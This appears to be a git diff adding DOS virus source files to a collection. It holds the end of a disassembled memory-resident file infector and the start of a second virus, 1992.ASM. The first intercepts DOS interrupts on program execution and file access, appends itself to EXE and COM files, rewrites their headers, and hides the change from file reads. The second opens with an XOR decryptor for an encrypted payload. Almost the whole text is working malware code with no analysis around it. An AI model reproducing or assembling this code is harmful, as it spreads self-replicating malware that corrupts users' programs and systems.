+ ; remove all files from queue + mov cs:data_51e,ds ; (8344:0904=8344h) + xor si,si ; Zero register + mov ds,si + mov di,288h + mov si,cs + xchg di,ds:data_1e ; (0000:0004=7FBh) + xchg si,ds:data_2e ; (0000:0006=70h) + pushf ; Push flags + pushf ; Push flags + pushf ; Push flags + mov bp,sp + or byte ptr [bp+1],1 + popf ; Pop flags + pushf ; Push flags + pushf ; Push flags + mov word ptr cs:data_52e,8AFh ; (8344:0906=0) + mov ah,1 + call dword ptr ds:data_3e ; (0000:004C=2288h) + popf ; Pop flags + mov word ptr cs:data_52e,8ABh ; (8344:0906=0) + mov ah,0Bh + call dword ptr ds:data_4e ; (0000:0084=1716h) + popf ; Pop flags + mov ds:data_1e,di ; (0000:0004=7FBh) + mov ds:data_2e,si ; (0000:0006=70h) + pop ds + push ds + push es + mov bx,cs + mov bp,2AEh + mov ax,ds:data_9e ; (0046:08AB=4146h) + mov dx,ds:data_10e ; (0046:08AD=3154h) + xor si,si ; Zero register + mov ds,si + cmp ax,ds:data_4e ; (0000:0084=1716h) + jne loc_6 ; Jump if not equal + cmp dx,word ptr ds:data_4e+2 ; (0000:0086=2C7h) + jne loc_6 ; Jump if not equal + mov ds:data_4e,bp ; (0000:0084=1716h) + mov word ptr ds:data_4e+2,bx ; (0000:0086=2C7h) + jmp short loc_10 ; (0285) +loc_6: + mov ax,8ABh + mov es,bx + mov cx,10h + cld ; Clear direction + +locloop_7: + mov di,ax + mov ds,dx + cmpsw ; Cmp [si] to es:[di] + jnz loc_9 ; Jump if not zero + cmpsw ; Cmp [si] to es:[di] + jnz loc_8 ; Jump if not zero + mov [si-4],bp + mov [si-2],bx +loc_8: + dec si + dec si +loc_9: + dec si + loop locloop_7 ; Loop if cx > 0 + + xchg si,cx + inc dx + cmp dx,bx + jne locloop_7 ; Jump if not equal +loc_10: + pop es + pop ds + retn +sub_1 endp + + push bp + mov bp,sp + push ax + mov ax,[bp+4] + cmp ax,cs:data_51e ; (8344:0904=8344h) + ja loc_11 ; Jump if above + push bx + mov bx,cs:data_52e ; (8344:0906=0) + mov cs:[bx+2],ax + mov ax,[bp+2] + mov cs:[bx],ax + and byte ptr [bp+7],0FEh + pop bx +loc_11: + pop ax + pop bp + iret ; Interrupt return + db 55h, 8Bh,0ECh, 80h,0FCh, 48h + db 74h, 0Ah, 80h,0FCh, 4Ah, 74h + db 05h, 3Dh, 03h, 4Bh, 75h, 0Ch + db 0E8h, 89h, 05h,0E8h,0AFh, 05h + db 9Ch,0E8h, 87h, 05h,0EBh, 55h + db 80h,0FCh, 31h, 74h, 05h, 80h + db 0FCh + db 4Ch, 75h, 0Dh +loc_12: + push bx + mov bx,13h +loc_13: + call sub_5 ; (0532) + dec bx + jns loc_13 ; Jump if not sign + pop bx + jmp short loc_23 ; (0342) +loc_14: + cmp ah,0Fh + je loc_15 ; Jump if equal + cmp ah,10h + je loc_15 ; Jump if equal + cmp ah,17h + je loc_15 ; Jump if equal + cmp ah,23h ; '#' + jne loc_16 ; Jump if not equal +loc_15: + call sub_15 ; (081F) + jmp short loc_23 ; (0342) +loc_16: + cmp ah,3Fh ; '?' + jne loc_20 ; Jump if not equal + call sub_5 ; (0532) + jnc loc_18 ; Jump if carry=0 + mov ax,5 +loc_17: + jmp loc_37 ; (0403) +loc_18: + jnz loc_23 ; Jump if not zero + call sub_22 ; (0875) + jc loc_17 ; Jump if carry Set + pushf ; Push flags + call sub_24 ; (0884) + push ds + pop es + mov di,dx + call sub_11 ; (0785) + call sub_25 ; (0896) +loc_19: + popf ; Pop flags + pop bp + retf 2 ; Return far +loc_20: + cmp ah,3Dh ; '=' + je loc_21 ; Jump if equal + cmp ah,43h ; 'C' + je loc_21 ; Jump if equal + cmp ah,56h ; 'V' + jne loc_22 ; Jump if not equal +loc_21: + call sub_3 ; (0519) + jmp short loc_23 ; (0342) +loc_22: + cmp ah,3Eh ; '>' + jne loc_24 ; Jump if not equal + call sub_5 ; (0532) +loc_23: + push word ptr [bp+6] + popf ; Pop flags + pop bp + cli ; Disable interrupts + jmp dword ptr cs:data_20 ; (8344:08AB=0) +loc_24: + cmp ah,14h + je loc_25 ; Jump if equal + cmp ah,21h ; '!' + je loc_25 ; Jump if equal + cmp ah,27h ; ''' + je loc_25 ; Jump if equal + jmp loc_35 ; (03DE) +loc_25: + call sub_15 ; (081F) + jnc loc_27 ; Jump if carry=0 +loc_26: + pop bp + mov al,1 + iret ; Interrupt return +loc_27: + jnz loc_23 ; Jump if not zero + call sub_24 ; (0884) + call sub_14 ; (0814) + cmp ah,14h + jne loc_28 ; Jump if not equal + mov ax,[si+0Ch] + mov dx,80h + mul dx ; dx:ax = reg * ax + xor bx,bx ; Zero register + add al,[si+20h] + adc ah,bl + adc bx,dx + xchg ax,bx + jmp short loc_29 ; (038F) +loc_28: + mov ax,[si+23h] + mov bx,[si+21h] +loc_29: + mov cx,[si+0Eh] + mul cx ; dx:ax = reg * ax + jnc loc_31 ; Jump if carry=0 +loc_30: + call sub_25 ; (0896) + jmp short loc_26 ; (0364) +loc_31: + xchg ax,bx + mul cx ; dx:ax = reg * ax + add dx,bx + jc loc_30 ; Jump if carry Set + mov cs:data_37,ax ; (8344:08D0=0) + mov cs:data_38,dx ; (8344:08D2=0) + mov cs:data_39,cx ; (8344:08D4=0) + call sub_25 ; (0896) + call sub_22 ; (0875) + or al,al ; Zero ? + jz loc_32 ; Jump if zero + cmp al,3 + jne loc_34 ; Jump if not equal +loc_32: + call sub_24 ; (0884) + cmp ah,27h ; ''' + mov ax,cs:data_39 ; (8344:08D4=0) + jnz loc_33 ; Jump if not zero + mul cx ; dx:ax = reg * ax + jc loc_30 ; Jump if carry Set +loc_33: + push ax + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + mov di,bx + pop ax + call sub_11 ; (0785) + call sub_25 ; (0896) +loc_34: + pop bp + iret ; Interrupt return +loc_35: + cmp ax,4B00h + je loc_38 ; Jump if equal + cmp ax,4B01h + je loc_36 ; Jump if equal + jmp loc_23 ; (0342) +loc_36: + call sub_2 ; (042F) + jc loc_37 ; Jump if carry Set + push si + push di + push ds + push cs + pop ds + mov si,offset data_41 ; (8344:08E2=0) + lea di,[bx+0Eh] ; Load effective addr + cld ; Clear direction + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + pop ds + pop di + pop si +loc_37: + pushf ; Push flags + shr byte ptr [bp+6],1 ; Shift w/zeros fill + popf ; Pop flags + rcl byte ptr [bp+6],1 ; Rotate thru carry + pop bp + iret ; Interrupt return +loc_38: + call sub_2 ; (042F) + jc loc_37 ; Jump if carry Set + push ax + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + mov ds,bx + mov es,bx + pop ax + cli ; Disable interrupts + mov sp,cs:data_41 ; (8344:08E2=0) + mov ss,cs:data_42 ; (8344:08E4=0) + inc sp + inc sp + sti ; Enable interrupts + jmp dword ptr cs:data_43 ; (8344:08E6=0) + +; +; SUBROUTINE +; + +sub_2 proc near + call sub_24 ; (0884) + stc ; Set carry flag + call sub_4 ; (051A) +loc_39: + mov ax,0Bh + jc loc_40 ; Jump if carry Set + cld ; Clear direction + pushf ; Push flags + push ds + mov ax,3522h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov cs:data_24,bx ; (8344:08B7=0) + mov word ptr cs:data_24+2,es ; (8344:08B9=8344h) + lds si,dword ptr [bp+0Ah] ; Load 32 bit ptr + push cs + pop es + mov di,offset data_39 ; (8344:08D4=0) + mov bx,di + mov cx,7 + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + pop ds + call sub_16 ; (084C) + push dx + mov ax,4B01h + call sub_23 ; (0879) + pop dx + call sub_17 ; (0851) + jnc loc_42 ; Jump if carry=0 +loc_40: + mov [bp+8],ax +loc_41: + call sub_25 ; (0896) + retn +loc_42: + mov [bp+8],ax + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + mov es,bx + mov si,[bp] + lds dx,dword ptr ss:[si+2] ; Load 32 bit ptr + mov es:data_11e,dx ; (08D4:000A=2F9h) + mov es:data_12e,ds ; (08D4:000C=3872h) + mov ax,2522h + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + popf ; Pop flags + jnz loc_41 ; Jump if not zero + push cs + pop ds + mov si,data_51e ; (8344:0904=44h) + mov di,data_13e ; (08D4:0100=0DFh) + mov cx,7ABh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + call sub_7 ; (0758) + jz loc_44 ; Jump if zero +loc_43: + clc ; Clear carry flag + jmp short loc_41 ; (0470) +loc_44: + mov di,bx + add di,10h + mov ax,ds:data_55e ; (8344:10B1=0) + mov word ptr data_43,ax ; (8344:08E6=0) + mov ax,ds:data_56e ; (8344:10B3=0) + add ax,di + mov word ptr data_43+2,ax ; (8344:08E8=0) + mov cx,ds:data_54e ; (8344:10AF=0) + or cx,cx ; Zero ? + jz loc_43 ; Jump if zero + lds dx,dword ptr [bp+0Eh] ; Load 32 bit ptr + call sub_18 ; (0862) + jc loc_47 ; Jump if carry Set + mov bx,ax + push cx + push cs + pop ds + xor cx,cx ; Zero register + mov dx,ds:data_50e ; (8344:0902=0) + call sub_20 ; (086B) + mov dx,904h + pop cx + +locloop_45: + push cx + mov cx,4 + call sub_8 ; (0764) + pop cx + jc loc_46 ; Jump if carry Set + mov si,dx + push ds + mov ax,[si+2] + mov si,[si] + add ax,di + mov ds,ax + add [si],di + pop ds + loop locloop_45 ; Loop if cx > 0 + + call sub_19 ; (0867) + jmp short loc_43 ; (04A8) +loc_46: + call sub_19 ; (0867) +loc_47: + push es + pop ds + les bx,dword ptr cs:data_24 ; (8344:08B7=0) Load 32 bit ptr + mov ds:data_17e,bx ; (8344:000A=0) + mov ds:data_18e,es ; (8344:000E=8344h) + call sub_13 ; (07EC) + stc ; Set carry flag + jmp loc_39 ; (0436) +sub_2 endp + + +; +; SUBROUTINE +; + +sub_3 proc near + clc ; Clear carry flag + +; External Entry into Subroutine + +sub_4: + push ax + push bx + pushf ; Push flags + call sub_18 ; (0862) + jc loc_48 ; Jump if carry Set + mov bx,ax + popf ; Pop flags + pushf ; Push flags + call sub_6 ; (0533) + pushf ; Push flags + call sub_19 ; (0867) + popf ; Pop flags +loc_48: + pop bx + pop bx + pop ax + retn +sub_3 endp + + +; +; SUBROUTINE +; + +sub_5 proc near + clc ; Clear carry flag + +; External Entry into Subroutine + +sub_6: + cld ; Clear direction + call sub_24 ; (0884) + pushf ; Push flags + push bx + mov ax,1220h + int 2Fh ; ??INT Non-standard interrupt. + jc loc_49 ; Jump if carry Set + xor bh,bh ; Zero register + mov bl,es:[di] + mov ax,1216h + int 2Fh ; ??INT Non-standard interrupt. + jnc loc_50 ; Jump if carry=0 +loc_49: + call sub_25 ; (0896) + retn +loc_50: + push es + push cs + pop ds + mov ax,3523h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_26,bx ; (8344:08BB=0) + mov word ptr data_26+2,es ; (8344:08BD=8344h) + inc ax + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_28,bx ; (8344:08BF=0) + mov word ptr data_28+2,es ; (8344:08C1=8344h) + mov ah,25h ; '%' + mov dx,offset int_24h_entry + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + dec ax + inc dx + inc dx + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop es + pop bx + mov al,2 + xchg al,es:[di+2] + mov data_33,al ; (8344:08C9=0) + mov ax,es:[di+5] + mov data_34,ax ; (8344:08CA=0) + mov ax,es:[di+15h] + mov data_37,ax ; (8344:08D0=0) + mov ax,es:[di+17h] + mov data_38,ax ; (8344:08D2=0) + mov ax,es:[di+11h] + mov dx,es:[di+13h] + mov data_35,ax ; (8344:08CC=0) + mov data_36,dx ; (8344:08CE=0) + cmp ax,1Ah + sbb dx,0 + jc loc_55 ; Jump if carry Set + popf ; Pop flags + jc loc_52 ; Jump if carry Set + mov ax,es:[di+28h] + cmp ax,5845h + je loc_51 ; Jump if equal + cmp ax,4F43h + jne loc_55 ; Jump if not equal + mov al,4Dh ; 'M' +loc_51: + cmp al,es:[di+2Ah] + jne loc_55 ; Jump if not equal +loc_52: + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_20 ; (086B) + mov dx,8EAh + mov cl,1Ah + call sub_8 ; (0764) + jc loc_57 ; Jump if carry Set + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_7 ; (0758) + jnz loc_53 ; Jump if not zero + mov ax,data_47 ; (8344:08F2=0) + mov dl,10h + mul dx ; dx:ax = reg * ax + mov cx,dx + mov dx,ax +loc_53: + push cx + push dx + add dx,7ABh + adc cx,0 + cmp cx,data_36 ; (8344:08CE=0) + jne loc_54 ; Jump if not equal + cmp dx,data_35 ; (8344:08CC=0) +loc_54: + pop dx + pop cx + jbe loc_56 ; Jump if below or = +loc_55: + jmp short loc_62 ; (065D) +loc_56: + push cx + push dx + call sub_20 ; (086B) + mov dx,904h + mov cx,7ABh + call sub_8 ; (0764) + jnc loc_58 ; Jump if carry=0 +loc_57: + jmp short loc_60 ; (0656) +loc_58: + push es + push di + push cs + pop es + mov si,data_53e ; (8344:09EF=0) + mov di,offset ds:[1EBh] ; (8344:01EB=1Eh) + mov cx,0C3h + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop di + pop es + jnz loc_65 ; Jump if not zero + mov dx,cx + call sub_21 ; (0870) + mov cx,7ADh + mov dx,904h + call sub_7 ; (0758) + jnz loc_59 ; Jump if not zero + add cx,6 +loc_59: + add es:[di+11h],cx + adc word ptr es:[di+13h],0 + call sub_8 ; (0764) + jc loc_60 ; Jump if carry Set + mov si,dx + dec cx + dec cx + call sub_10 ; (0778) + cmp dx,[si] + je loc_61 ; Jump if equal +loc_60: + stc ; Set carry flag + jmp short loc_63 ; (0661) +loc_61: + cmp al,al + jmp short loc_63 ; (0661) +loc_62: + mov al,1 + cmp al,0 +loc_63: + pushf ; Push flags +loc_64: + mov si,offset data_33 ; (8344:08C9=0) + cld ; Clear direction + inc di + inc di + movsb ; Mov [si] to es:[di] + inc di + inc di + movsw ; Mov [si] to es:[di] + add di,0Ah + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov ax,2524h + lds dx,dword ptr data_28 ; (8344:08BF=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + dec ax + lds dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + popf ; Pop flags + call sub_25 ; (0896) + retn +loc_65: + test byte ptr es:[di+4],4 + jnz loc_62 ; Jump if not zero + mov ah,0Dh + int 21h ; DOS Services ah=function 0Dh + ; flush disk buffers to disk + push bx + push ds + push es + mov ax,3540h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_30,bx ; (8344:08C3=0) + mov word ptr data_30+2,es ; (8344:08C5=8344h) + mov al,13h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov data_22,bx ; (8344:08B3=0) + mov word ptr data_22+2,es ; (8344:08B5=8344h) + mov ah,25h ; '%' + lds dx,data_21 ; (8344:08AF=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov al,40h ; '@' +;* mov dx,offset loc_85 ;* + db 0BAh, 59h,0ECh + mov bx,0F000h + mov ds,bx + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop es + pop ds + pop bx + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_21 ; (0870) + mov cx,7ABh + mov si,904h + call sub_7 ; (0758) + jnz loc_66 ; Jump if not zero + add cx,6 + mov ax,data_46 ; (8344:08F0=0) + mov ds:data_54e,ax ; (8344:10AF=0) + mov ax,data_48 ; (8344:08FE=0) + mov ds:data_55e,ax ; (8344:10B1=0) + mov ax,ds:data_49e ; (8344:0900=0) + mov ds:data_56e,ax ; (8344:10B3=0) +loc_66: + push si + call sub_10 ; (0778) + mov [si],dx + pop dx + inc cx + inc cx + call sub_9 ; (076E) + jc loc_68 ; Jump if carry Set + pop dx + pop cx + call sub_20 ; (086B) + mov dx,100h + mov cx,7ABh + call sub_9 ; (076E) + jc loc_69 ; Jump if carry Set + call sub_7 ; (0758) + jnz loc_67 ; Jump if not zero + xor cx,cx ; Zero register + mov data_46,cx ; (8344:08F0=0) + mov data_48,dx ; (8344:08FE=0) + mov word ptr ds:data_49e,0FFF0h ; (8344:0900=0) + xor dx,dx ; Zero register + call sub_20 ; (086B) + mov dx,8EAh + mov cx,1Ah + call sub_9 ; (076E) + jc loc_69 ; Jump if carry Set +loc_67: + cmp al,al + jmp short loc_70 ; (073C) +loc_68: + mov al,1 + cmp al,0 + jmp short loc_70 ; (073C) +loc_69: + stc ; Set carry flag +loc_70: + pushf ; Push flags + mov ah,0Dh + int 21h ; DOS Services ah=function 0Dh + ; flush disk buffers to disk + push ds + mov ax,2513h + lds dx,dword ptr data_22 ; (8344:08B3=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + mov al,40h ; '@' + lds dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + pop ds + jmp loc_64 ; (0662) +sub_5 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + mov ax,data_45 ; (8344:08EA=0) + cmp ax,5A4Dh + je loc_ret_71 ; Jump if equal + cmp ax,4D5Ah + +loc_ret_71: + retn +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + mov ah,3Fh ; '?' + call sub_23 ; (0879) + jc loc_ret_72 ; Jump if carry Set + cmp ax,cx + +loc_ret_72: + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + mov ah,40h ; '@' + call sub_23 ; (0879) + jc loc_ret_73 ; Jump if carry Set + cmp ax,cx + +loc_ret_73: + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + push cx + xor dx,dx ; Zero register + +locloop_74: + lodsb ; String [si] to al + add dl,al + adc dh,0 + loop locloop_74 ; Loop if cx > 0 + + pop cx + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + push cs + pop ds + mov si,904h + mov bx,ax + mov cx,7ABh + call sub_7 ; (0758) + jnz loc_75 ; Jump if not zero + mov ax,data_47 ; (8344:08F2=0) + mov dx,10h + mul dx ; dx:ax = reg * ax + push bx + push di + call sub_12 ; (07BF) + pop di + pop bx + mov si,offset data_45 ; (8344:08EA=0) + mov cx,1Ah + mov ax,ds:data_54e ; (8344:10AF=0) + mov data_46,ax ; (8344:08F0=0) + mov ax,ds:data_55e ; (8344:10B1=0) + mov data_48,ax ; (8344:08FE=0) + mov ax,ds:data_56e ; (8344:10B3=0) + mov ds:data_49e,ax ; (8344:0900=0) +loc_75: + xor ax,ax ; Zero register + xor dx,dx ; Zero register + +; External Entry into Subroutine + +sub_12: + sub ax,data_37 ; (8344:08D0=0) + sbb dx,data_38 ; (8344:08D2=0) + jc loc_76 ; Jump if carry Set + jnz loc_ret_79 ; Jump if not zero + sub bx,ax + jbe loc_ret_79 ; Jump if below or = + add di,ax + jmp short loc_77 ; (07E2) +loc_76: + neg ax + adc dx,0 + neg dx + jnz loc_ret_79 ; Jump if not zero + sub cx,ax + jbe loc_ret_79 ; Jump if below or = + add si,ax +loc_77: + cmp cx,bx + jbe loc_78 ; Jump if below or = + mov cx,bx +loc_78: + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + +loc_ret_79: + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + pushf ; Push flags + call sub_24 ; (0884) + mov ah,49h ; 'I' + push ds + pop es + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ah,49h ; 'I' + mov es,ds:data_8e ; (0046:002C=50h) + int 21h ; DOS Services ah=function 49h + ; release memory block, es=seg + mov ah,50h ; 'P' + mov bx,ds:data_7e ; (0046:0016=0) + int 21h ; DOS Services ah=function 50h + ; set active PSP segmnt from bx + mov ax,2522h + lds dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx + call sub_25 ; (0896) + popf ; Pop flags + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + mov si,dx + cmp byte ptr [si],0FFh + jne loc_ret_80 ; Jump if not equal + add si,7 + +loc_ret_80: + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near + call sub_24 ; (0884) + call sub_14 ; (0814) + push cs + pop es + mov dx,904h + mov di,dx + cld ; Clear direction + lodsb ; String [si] to al + or al,al ; Zero ? + jz loc_81 ; Jump if zero + add al,40h ; '@' + mov ah,3Ah ; ':' + stosw ; Store ax to es:[di] +loc_81: + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + movsw ; Mov [si] to es:[di] + mov al,2Eh ; '.' + stosb ; Store al to es:[di] + movsw ; Mov [si] to es:[di] + movsb ; Mov [si] to es:[di] + xor al,al ; Zero register + stosb ; Store al to es:[di] + push es + pop ds + call sub_3 ; (0519) + call sub_25 ; (0896) + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near + push ax + mov ax,cs + jmp short loc_82 ; (0854) + +; External Entry into Subroutine + +sub_17: + push ax + xor ax,ax ; Zero register +loc_82: + push bx + push ds + mov bx,cs + dec bx + mov ds,bx + mov ds:data_16e,ax ; (8343:0001=0FFFFh) + pop ds + pop bx + pop ax + retn +sub_16 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + mov ax,3D00h + jmp short loc_83 ; (0879) + +; External Entry into Subroutine + +sub_19: + mov ah,3Eh ; '>' + jmp short loc_83 ; (0879) + +; External Entry into Subroutine + +sub_20: + mov ax,4200h + jmp short loc_83 ; (0879) + +; External Entry into Subroutine + +sub_21: + mov ax,4202h + jmp short loc_83 ; (0879) + +; External Entry into Subroutine + +sub_22: + push word ptr [bp+6] + popf ; Pop flags + +; External Entry into Subroutine + +sub_23: +loc_83: + pushf ; Push flags + cli ; Disable interrupts + call dword ptr cs:data_20 ; (8344:08AB=0) + retn +sub_18 endp + + +; +; +; External Entry Point +; +; + +int_24h_entry proc far + mov al,3 +int_24h_entry endp + + +; +; +; External Entry Point +; +; + +int_23h_entry proc far + iret ; Interrupt return +int_23h_entry endp + + +; +; SUBROUTINE +; + +sub_24 proc near + pop cs:data_32 ; (8344:08C7=0) + push ds + push dx + push es + push bx + push ax + push cx + push si + push di + push bp + mov bp,sp + jmp short loc_84 ; (08A6) + +; External Entry into Subroutine + +sub_25: + pop cs:data_32 ; (8344:08C7=0) + mov sp,bp + pop bp + pop di + pop si + pop cx + pop ax + pop bx + pop es + pop dx + pop ds +loc_84: + jmp word ptr cs:data_32 ; (8344:08C7=0) +data_20 dd 00000h +data_21 dd 00000h +data_22 dw 0, 8344h +data_24 dw 0, 8344h +data_26 dw 0, 8344h +data_28 dw 0, 8344h +data_30 dw 0, 8344h +data_32 dw 0 +data_33 db 0 +data_34 dw 0 +data_35 dw 0 +data_36 dw 0 +data_37 dw 0 +data_38 dw 0 +data_39 dw 0 + db 12 dup (0) +data_41 dw 0 +data_42 dw 0 +data_43 dd 00000h +data_45 dw 0 + db 0, 0, 0, 0 +data_46 dw 0 +data_47 dw 0 + db 10 dup (0) +data_48 dw 0 +sub_24 endp + + +seg_a ends + + + + end start + \ No newline at end of file diff --git a/0-9/1992.ASM b/0-9/1992.ASM new file mode 100755 index 0000000..f2afc51 --- /dev/null +++ b/0-9/1992.ASM @@ -0,0 +1,925 @@ + PAGE ,132 +S00000 SEGMENT BYTE PUBLIC 'code' + ASSUME CS:S00000 + ASSUME SS:S00000 + ASSUME DS:S00000 +H00000 DB 256 DUP(?) +P00100 PROC FAR + ASSUME ES:S00000 +H00100: + JMP SHORT H00104 + DB 90H +H00103 DB 2 +H00104: + CALL P0010A + JMP H006F1 +P0010A PROC NEAR +H0010A: + PUSH CX + MOV BX,0138H +H0010E: + MOV CH,[BX] + XOR CH,H00103 + MOV [BX],CH + INC BX + CMP BX,0900H + JLE H0010E + POP CX + RET +P0010A ENDP + DW 00BAH + DW 8B01H + DW 0E51EH + DW 5306H + DW 0E0E8H + DW 5BFFH + DW 0C8B9H + DW 0B407H + DW 0CD40H + DW 5321H + DW 0D4E8H + DW 5BFFH + DW 0DC3H + DW 1B10H + DW 0800H + DW 1BB1H + DW 0C104H + DW 2218H + DW 0BDC6H + DW 011BH + DW 1BB1H + DW 0B115H + DW 011BH + DW 1B1AH + DW 0C100H + DW 0418H + DW 0DBC6H + DW 0B302H + DW 14B3H + DW 1918H + DW 10B3H + DW 22DFH + DW 0822H + DW 1BB1H + DW 0C101H + DW 0C18H + DW 0C0C6H + DW 0518H + DW 0C3C6H + DW 0BDC6H + DW 2222H + DW 1B1AH + DW 0B100H + DW 061BH + DW 0B302H + DW 14B3H + DW 1D18H + DW 10B3H + DW 22DFH + DW 0C208H + DW 0C6C6H + DW 0C6C0H + DW 1BDBH + DW 0B10CH + DW 0B1BH + DW 22B1H + DW 1A22H + DW 001BH + DW 1BB1H + DW 0201H + DW 0B3B3H + DW 1814H + DW 0B323H + DW 0DF10H + DW 001BH + DW 0B108H + DW 121BH + DW 1BB1H + DW 0C20BH + DW 0C6C6H + DW 1B1AH + DW 0B100H + DW 001BH + DW 0B302H + DW 14B3H + DW 2118H + DW 10B3H + DW 22DFH + DW 1B13H + DW 0B06H + DW 10DCH + DW 1322H + DW 0DC22H + DW 2210H + DW 2213H + DW 10DCH + DW 1322H + DW 0DC22H + DW 2210H + DW 1B13H + DW 0DC06H + DW 2210H + DW 2213H + DW 0DC22H + DW 2210H + DW 1322H + DW 2222H + DW 10DCH + DW 2222H + DW 1B1AH + DW 0800H + DW 22B1H + DW 0222H + DW 0B3B3H + DW 1814H + DW 0B30AH + DW 180DH + DW 0B31AH + DW 1002H + DW 14DFH + DW 0B3B3H + DW 10B3H + DW 13DFH + DW 0B22H + DW 02DCH + DW 1810H + DW 0B306H + DW 2213H + DW 0DC0BH + DW 0DC22H + DW 1002H + DW 0B3B3H + DW 2213H + DW 0DC0BH + DW 1002H + DW 13B3H + DW 0B22H + DW 02DCH + DW 1810H + DW 0B306H + DW 2213H + DW 0DC0BH + DW 0DC22H + DW 0DC22H + DW 0DC22H + DW 1002H + DW 22B3H + DW 1B1AH + DW 0800H + DW 22B1H + DW 0222H + DW 0B3B3H + DW 1814H + DW 0B305H + DW 180DH + DW 0B31BH + DW 1002H + DW 22DFH + DW 1422H + DW 10B3H + DW 13DFH + DW 061BH + DW 0DC0BH + DW 2210H + DW 2213H + DW 0DC22H + DW 1002H + DW 22B3H + DW 1322H + DW 0B22H + DW 02DCH + DW 0B310H + DW 1B13H + DW 0B06H + DW 10DCH + DW 1322H + DW 0DC22H + DW 1002H + DW 13B3H + DW 0B22H + DW 02DCH + DW 0B310H + DW 2213H + DW 0DC0BH + DW 1002H + DW 22B3H + DW 081AH + DW 0C6C6H + DW 0DBC0H + DW 2222H + DW 0B302H + DW 14B3H + DW 0518H + DW 0DB3H + DW 0E18H + DW 12B3H + DW 051BH + DW 1814H + DW 0B301H + DW 1002H + DW 1BDFH + DW 0800H + DW 22B1H + DW 0222H + DW 0B3B3H + DW 13B3H + DW 0B22H + DW 02DCH + DW 0B310H + DW 2213H + DW 0DC0BH + DW 0DC22H + DW 1002H + DW 22B3H + DW 2213H + DW 0DC0BH + DW 1002H + DW 22B3H + DW 0B3B3H + DW 13B3H + DW 0B22H + DW 02DCH + DW 0B310H + DW 2213H + DW 0DC0BH + DW 1002H + DW 22B3H + DW 0B3B3H + DW 2213H + DW 0DC0BH + DW 1002H + DW 22B3H + DW 221AH + DW 0822H + DW 1BB1H + DW 0200H + DW 0B3B3H + DW 1814H + DW 0B305H + DW 180DH + DW 0B30EH + DW 0DC12H + DW 0D9D9H + DW 1402H + DW 0B3B3H + DW 0B0B0H + DW 120DH + DW 14D9H + DW 0B3B3H + DW 02B3H + DW 0DF10H + DW 011BH + DW 0B108H + DW 1322H + DW 061BH + DW 0DC0BH + DW 1002H + DW 13B3H + DW 0B22H + DW 02DCH + DW 0B310H + DW 2213H + DW 0DC0BH + DW 1002H + DW 13B3H + DW 0B22H + DW 02DCH + DW 0B310H + DW 1B13H + DW 0B06H + DW 02DCH + DW 0B310H + DW 2213H + DW 0DC0BH + DW 1002H + DW 1BB3H + DW 1300H + DW 0B22H + DW 02DCH + DW 0B310H + DW 1A22H + DW 2222H + DW 0B108H + DW 001BH + DW 0B302H + DW 14B3H + DW 0518H + DW 0DB3H + DW 0E18H + DW 12B3H + DW 0D9DCH + DW 02D9H + DW 0B314H + DW 0B3B3H + DW 0DB0H + DW 0D912H + DW 0B314H + DW 02B3H + DW 0DF10H + DW 061BH + DW 0B108H + DW 2222H + DW 1802H + DW 0B307H + DW 0B322H + DW 22B3H + DW 0B3B3H + DW 0B322H + DW 22B3H + DW 0718H + DW 22B3H + DW 0B3B3H + DW 001BH + DW 0B3B3H + DW 22B3H + DW 221AH + DW 0822H + DW 1BB1H + DW 0200H + DW 0B3B3H + DW 1814H + DW 0B301H + DW 0B30DH + DW 0B3B3H + DW 0B302H + 